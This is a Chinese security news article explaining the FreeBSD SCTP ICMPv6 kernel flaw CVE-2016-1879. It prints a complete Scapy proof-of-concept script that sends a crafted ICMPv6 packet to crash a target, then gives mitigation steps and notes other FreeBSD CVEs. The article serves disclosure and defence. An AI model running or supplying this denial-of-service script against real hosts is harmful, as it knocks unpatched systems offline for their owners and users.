信息来源:FreeBuf
FreeBSD团队宣布他们的操作系统存在严重的漏洞,黑客可以利用这个漏洞进行DoS(拒绝服务)攻击,提权或窃取系统敏感信息。
SCTP ICMPv6错误处理漏洞 (CVE-2016-1879)
SCTP (流控制传输协议)是一种传输层协议,它可以用来在IP环境中传输信号。通常,移动运营商会在技术网络中使用这个协议。
这个漏洞影响了FreeBSD系统的数个版本(9.3、10.1、10.2),如果它们支持SCTP和IPV6就会中招(这其实是系统默认配置)。黑客利用这个漏洞,需要发送一个精心构造的ICMPv6消息。如果漏洞利用成功,就可以对系统进行DoS攻击。
DoS攻击是由于系统对来自ICMPv6的错误消息,并没有仔细检查其中SCTP包头部的长度。如果目标接收者不存在,路由会生成一个错误信息,通过ICMPv6反馈给发送人。
该ICMPv6包括原始的IPv6包,其中的Next Header区域会显示SCTP是如何封装的:
在系统内核接收了通过ICMPv6发送来的错误消息时,它会将上层协议包传输到必要的解析器sctp6_ctlinput()里。SCTP解析器将传入的头部误认为是合法长度,然后会试图用m_copydata()将它copy,里面存有偏移值和字节数值。本来系统预计消息的头部长度是12个字节,但是黑客可能就给它发送了一个长为11字节的头部,最后空指针的引用就导致了内核崩溃。
漏洞利用代码
利用这个漏洞时,我们并不需要开放的SCTP套接字。神奇的Scapy会帮助我们,创建漏洞利用所需的ICMPv6数据包(这里编辑器代码排版缩进如下,有需求请自行调整):
import argparse from scapy.all import *
def get_args(): parser = argparse.ArgumentParser(description='#' * 78, epilog='#' * 78)
parser.add_argument("-m", "--dst_mac", type=str, help="FreeBSD mac address")
parser.add_argument("-i", "--dst_ipv6", type=str, help="FreeBSD IPv6 address")
parser.add_argument("-I", "--iface", type=str, help="Iface")
options = parser.parse_args()
if options.dst_mac is None or options.dst_ipv6 is None:
parser.print_help()
exit()
return options
if __name__ == '__main__':
options = get_args()
sendp(Ether(dst=options.dst_mac) / IPv6(dst=options.dst_ipv6) / ICMPv6DestUnreach() / IPv6(nh=132,
src=options.dst_ipv6,
dst='fe80::230:56ff:fea6:648c'),
iface=options.iface)
下面是攻击演示的视频:
修复和安全建议
为了保护您的系统不受该漏洞的侵害,我们建议您这么做:
如果不需要IPv6,请将其禁用。
在防火墙禁用ICMPv6或者IPv6流量。
如果用不上的话,请禁用系统内核对SCTP堆栈的支持(需要重新编译内核)。
修复漏洞,您可以使用供应商的补丁,安装对SCTP ICMPv6消息的额外校验,这里也需要重新编译内核。
其他漏洞相关
此外,FreeBSD系统还爆出了其他严重漏洞,官方开发人员为它们发布了补丁。
1.存在这么一个漏洞,如果系统启用了TCP_MD5SIG和TCP_NOOPT,黑客通过TCP连接可以对系统进行DoS攻击。他们只需要某个TCP_NOOPT启用的监听套接字,就能利用这个漏洞(CVE-2016-1882补丁)。
2.Linux下Robust Futex错误,会导致系统内存数据泄露(CVE-2016-1880补丁)。
3.不安全的默认配置,导致了黑客可以访问守护进程配置文件/etc/bsnmpd.conf(CVE-2015-5677补丁)。
为了保护您的系统不受漏洞侵害,强烈建议您在进行安全配置之后再使用IPv6地址,并安装好相应的安全工具来保护系统安全。
*参考来源:PTsec,FB小编dawner编译,转载请注明来自FreeBuf黑客与极客(FreeBuf.COM)